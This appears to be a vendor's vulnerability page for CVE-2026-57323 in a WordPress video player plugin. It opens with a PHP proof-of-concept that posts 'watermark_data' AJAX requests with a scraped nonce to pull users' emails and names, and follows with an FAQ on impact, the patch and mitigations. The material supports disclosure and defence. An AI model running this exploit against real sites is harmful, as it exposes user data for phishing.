// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57323 - HTML5 Video Player – Embed and Play Videos in Custom Player <= 2.11.0 - Missing Authorization

// Configuration: Set the target WordPress site URL
$target_url = 'http://example.com'; // CHANGE THIS

// Step 1: Obtain a valid nonce from a page that enqueues the vulnerable script
// The nonce 'wp_ajax' is often generated in the footer or admin area.
// For simplicity, this PoC uses a common WordPress page or directly attempts with a guessed nonce.
// In a real attack, the attacker would scrape the page for the nonce.
// Here we try a direct request without a nonce first, then with a common nonce.

// Step 2: Send AJAX request to the vulnerable endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Attempt 1: Without a nonce (should fail but demonstrates the endpoint exists)
echo "[*] Attempting to call watermark_data without a nonce...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'watermark_data'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[!] Response: $responsenn";

// Attempt 2: With a generic WordPress nonce (often generated for logged-out users on login pages)
// Many WordPress pages generate a 'wp_ajax' nonce for unauthenticated users.
// This PoC simulates obtaining one. In practice, scrape it from the target site.
// For demonstration, we will attempt a common nonce value or generate our own.
// Note: The nonce must match the one generated by the plugin's enqueue_script.
// Since the plugin uses wp_create_nonce('wp_ajax'), any user (including unauthenticated)
// can get a valid nonce by visiting a page that calls wp_localize_script with the nonce.

// Simulating a nonce obtained from a page source (example only)
$sample_nonce = '1234567890'; // Replace with a scraped nonce

echo "[*] Attempting to call watermark_data with a sample nonce...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'watermark_data',
    'nonce' => $sample_nonce
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[!] Response: $responsen";

// If the nonce is valid, the response will contain user email and display name.
// Example success response: {"success":true,"data":{"user":{"email":"admin@example.com","name":"Admin"}}}
// Example failure response (invalid nonce): {"success":false,"data":"invalid request"}

?>

Frequently Asked Questions

What is CVE-2026-57323?
Vulnerability overview
CVE-2026-57323 is a missing authorization vulnerability in the HTML5 Video Player plugin for WordPress, affecting versions up to and including 2.11.0. It allows unauthenticated attackers to perform unauthorized actions, such as enumerating registered users and their email addresses.
How does the vulnerability work?
Technical mechanism
The vulnerability exists in two areas: the player-control-script.php file registers actions and filters without authentication, and the watermark_data_ajax function in blocks.php exposes user data via AJAX without proper capability checks. An attacker can send a POST request to admin-ajax.php with a valid nonce to retrieve user email and display name.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 5.3, classified as Medium severity. This reflects the limited direct impact of information disclosure, though it can facilitate targeted phishing attacks.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the HTML5 Video Player plugin version 2.11.0 or earlier is affected. Sites using version 2.11.1 or later are patched and not vulnerable.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 2.11.0 or lower, your site is vulnerable. You can also verify by looking for the file player-control-script.php in the plugin directory.
What information can an attacker obtain?
Data exposure
An unauthenticated attacker can retrieve the email address and display name of registered users by exploiting the watermark_data AJAX handler. This information can be used for social engineering or phishing campaigns.
How was the vulnerability fixed?
Patch details
The patch removes the entire player-control-script.php file and removes the watermark_data_ajax AJAX handler registration from blocks.php. It also restricts sensitive data exposure by checking the edit_posts capability before passing admin URLs and nonces.
What is the proof of concept demonstrating?
PoC explanation
The proof of concept shows how an attacker can send a POST request to admin-ajax.php with the action parameter set to watermark_data and a valid nonce. It demonstrates the retrieval of user email and display name without authentication.
How can I mitigate the vulnerability if I cannot update?
Temporary workarounds
If you cannot update to version 2.11.1, consider disabling the plugin temporarily or using a web application firewall to block requests to admin-ajax.php with the watermark_data action. However, updating is the recommended solution.
Does the vulnerability require any user interaction?
Exploitation prerequisites
No user interaction is required. The attacker only needs to obtain a valid nonce, which can be extracted from any page that enqueues the vulnerable script. The exploit can be automated.
What is the impact of the missing authorization in player-control-script.php?
Additional attack vector
The player-control-script.php file runs apply_filters and do_action calls with user-controlled IDs from shortcodes. This could allow an attacker to trigger arbitrary WordPress hooks, potentially leading to further exploitation if combined with other vulnerabilities.
Where can I find more information about this CVE?
Resources
Refer to the official CVE entry, the WordPress plugin changelog, and security advisories from Atomic Edge. The patch diff and proof of concept are available in the disclosure details.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started